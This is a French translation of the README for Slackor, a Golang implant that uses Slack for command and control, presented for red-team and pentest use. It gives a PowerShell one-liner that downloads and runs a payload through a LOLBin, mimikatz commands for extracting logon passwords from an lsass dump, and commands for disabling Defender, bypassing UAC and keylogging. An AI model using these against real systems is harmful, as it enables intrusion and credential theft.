Slackor #

Maintenu sur https://github.com/n00py/Slackor

Un implant Golang qui utilise Slack comme canal de commande et de contrôle.

Ce projet s'est inspiré de Gcat et Twittor.

Cet outil est publié à titre de preuve de concept. Assurez-vous de lire et de comprendre la politique de développement des applications Slack avant de créer des applications Slack.

Configuration

Remarque : Le serveur est écrit en Python 3

Pour que cela fonctionne, vous avez besoin de :

• Un espace de travail Slack

• Enregistrer une application avec les permissions suivantes :

  • channels:read
  • channels:history
  • channels:write
  • files:write:user
  • files:read

• Créer un bot

Ce dépôt contient cinq fichiers :

• install.sh Installe les dépendances
• setup.py Le script pour créer les canaux Slack, la base de données et l'implant
• agent.py Script pour générer de nouveaux implants
• server.py Le serveur Slackor, conçu pour être exécuté sur Linux
• agent.go L'implant Golang
• requirements.txt Dépendances Python (installées automatiquement)

Pour commencer :

• go get github.com/Coalfire-Research/Slackor
• cd $GOPATH/src/github.com/Coalfire-Research/Slackor
• Exécutez install.sh
• Exécutez setup.py
  • Fournissez le OAuth Access Token et le Bot User OAuth Access Token de votre application

Après avoir exécuté le script avec succès, plusieurs fichiers seront créés dans le répertoire dist/ :

• agent.windows.exe : Windows binaire 64 bits
• agent.upx.exe : Windows binaire 64 bits, compressé avec UPX
• agent.darwin : macOS binaire 64 bits
• agent.32.linux : Linux binaire 32 bits
• agent.64.linux : Linux binaire 64 bits

Après avoir démarré server.py sur un hôte Linux, exécutez l'agent approprié ci-dessus pour votre hôte cible.

Exécutez le module "stager" pour générer une commande en une ligne et d'autres droppers.

powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe

Cela exécutera InvokeWebRequest (PS v.3+) pour télécharger la charge utile, l'exécutera en utilisant un LOLBin, et se supprimera après avoir été tué. C'est un exemple fonctionnel mais la commande peut être modifiée pour utiliser une autre méthode de téléchargement ou d'exécution.

Utilisation

Tapez "help" ou appuyez sur [TAB] pour voir la liste des commandes disponibles. Tapez "help [COMMAND]" pour voir la description de cette commande.

(Slackor)

• help - Affiche le menu d'aide
• interact - Interagir avec un agent
• list - Lister tous les agents enregistrés
• remove - Tuer et supprimer un agent
• revive - Envoie un signal à tous les agents pour qu'ils se réenregistrent auprès du serveur
• stager - Génère une commande en une ligne pour télécharger et exécuter l'implant
• quit - Quitter le programme
• wipefiles - Supprime tous les fichiers téléchargés de Slack

Une fois qu'un agent se connecte, vous pouvez interagir avec lui. Utilisez "interact [AGENT]" pour entrer dans une invite de l'agent. Tapez "help" ou appuyez sur [TAB] pour voir la liste des commandes disponibles.

(Slackor:AGENT)

• Commandes communes
  • back - Retour au menu principal
  • beacon - Changer l'intervalle de temps entre chaque connexion d'un agent (par défaut 5 secondes)
  • download - Télécharger un fichier de l'agent vers le serveur Slackor
  • help - Affiche le menu d'aide
  • kill - Tuer l'agent
  • sleep - Faire dormir l'agent une fois (entrer le temps en secondes)
  • sysinfo - Affiche l'utilisateur actuel, la version du système d'exploitation, l'architecture système et le nombre de cœurs CPU
  • upload - Télécharger un fichier vers l'agent depuis le serveur Slackor
  • wget - Récupérer des fichiers arbitraires via HTTP/HTTPS
• Commandes Windows
  • bypassuac - Tente de générer un agent de haute intégrité
  • cleanup - Supprime les artefacts de persistance
  • clipboard - Récupère le contenu du presse-papiers
  • defanger - Tente de désactiver Windows Defender
  • duplicate - Fait générer à l'agent une autre instance de lui-même
  • getsystem - Génère un agent sous NTAUTHORITY\SYSTEM
  • keyscan - Démarre un enregistreur de frappe sur l'agent
  • minidump - Décharge la mémoire de lsass.exe et la télécharge
  • persist - Crée une persistance en implantant un binaire dans un flux de données alternatif (ADS)
  • samdump - Tente de décharger le fichier SAM pour extraction de hash hors ligne
  • screenshot - Prend une capture d'écran du bureau et la récupère
  • shellcode - Exécute du shellcode x64 brut
• Commandes Mac
• Commandes Linux
  • screenshot - Prend une capture d'écran du bureau et la récupère

Considérations OPSEC

Les sorties de commandes et les fichiers téléchargés sont chiffrés en AES en plus du chiffrement de transport TLS de Slack.

Les modules vous avertiront avant d'effectuer des tâches qui écrivent sur le disque.
Lors de l'exécution de commandes shell, notez que cmd.exe/bash sera exécuté. Cela peut être surveillé sur l'hôte. Voici plusieurs commandes sûres pour l'OPSEC qui N'exécuteront PAS cmd.exe/bash :

• cat - Affiche le contenu d'un fichier
• cd - Change de répertoire
• find - Recherche des noms de fichiers dans un répertoire
• getip - Obtient l'adresse IP externe (effectue une requête DNS)
• hostname - Affiche le nom de l'hôte
• ifconfig - Affiche les informations d'interface
• ls - Liste le contenu du répertoire
• mkdir - Crée un répertoire
• pwd - Affiche le répertoire de travail courant
• rm - Supprime un fichier
• rmdir - Supprime un répertoire
• whoami / getuid - Affiche l'utilisateur actuel

Crédits

• https://github.com/EgeBalci - Fonctions adaptées de HERCULES et EGESPLOIT
• https://github.com/SaturnsVoid - Enregistreur de frappe adapté de GoBot2
• https://github.com/vyrus001 - Exécution de shellcode x64 shellGo
• Fonctions cryptographiques adoptées de https://www.golang123.com/topic/1686
• Idée de persistance de Enigma0x3
• Minidump adapté de Merlin, crédit à C-Sto
• Code de capture d'écran de kbinani
• Code du presse-papiers de atotto
• Générateur de stager de hlldz
• Contournement UAC par winscripting.blog
• Découverte Lulzbin par @vector_sec
• D'innombrables fils sur StackOverflow
• Merci à impacket pour l'extraction de hash à partir des ruches de registre SAM/SYS/SECURITY.
• L'extraction d'identifiants à partir de vidage LSASS rendue possible avec pypykatz par skelsec
• Bob Aman (Sporkmonger) pour diverses ajouts

Objectifs futurs

• DOSfuscation
• Chargement réflexif de DLL/PE - https://github.com/vyrus001/go-mimikatz
• Exécution d'assemblages C# en mémoire - https://github.com/lesnuages/go-execute-assembly
• Obfuscation de code source https://github.com/unixpickle/gobfuscate

FAQ :

Est-ce sûr à utiliser pour les équipes rouges/pentests ?

Oui, sous certaines conditions. Bien que les données soient chiffrées en transit, l'agent contient la clé de déchiffrement. Quiconque acquiert une copie de l'agent pourrait le rétroconcevoir et extraire les clés API et la clé secrète AES. Quiconque compromet ou accède d'une autre manière à l'espace de travail pourrait récupérer toutes les données qu'il contient. Pour cette raison, il n'est pas recommandé de réutiliser l'infrastructure contre plusieurs organisations.

Qu'en est-il de Mimikatz ?

L'implant n'a pas de fonctionnalité de vidage de mot de passe en mémoire. Si vous avez besoin de logonPasswords, vous pouvez essayer ce qui suit :

(Slackor: AGENT)minidump

Ceci extraira automatiquement les mots de passe avec Pypykatz. Alternativement, vous pouvez utiliser Mimikatz sur Windows.

>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords

Est-il multiplateforme ?

Il a un support multiplateforme limité. Il n'a pas été entièrement testé sur tous les systèmes sur lesquels il peut être exécuté. Le serveur a été conçu pour fonctionner sur Kali Linux. L'agent est compilé pour Windows, Mac et Linux, mais a principalement été testé avec Windows 10. Les agents peuvent mal gérer les commandes qui ne sont pas prises en charge par la plateforme de cet agent (n'essayez pas de faire un minidump sur un Mac).

Quelle est son évolutivité ?

L'évolutivité est limitée par l'API Slack. Si vous avez plusieurs agents, envisagez d'augmenter l'intervalle de balise des balises inutilisées.

Est-il vulnérable à l'analyse standard des balises ?

Actuellement, chaque balise a une gigue de 20% intégrée, et les temps de balise peuvent être personnalisés. Les paquets de demande et de réponse des agents seront à peu près de la même taille à chaque fois tant qu'aucune nouvelle commande n'est reçue.

Pourquoi avez-vous fait [x] alors qu'une meilleure façon de le faire est [y] ?

J'ai fait de mon mieux. Les PR sont encouragées :)

Il est détecté par l'antivirus !

Maintenant qu'il est open source, il est voué à avoir des problèmes. Je corrigerai les modules autant que possible, mais il n'y a aucune garantie que cela contournera tous les antivirus à tout moment.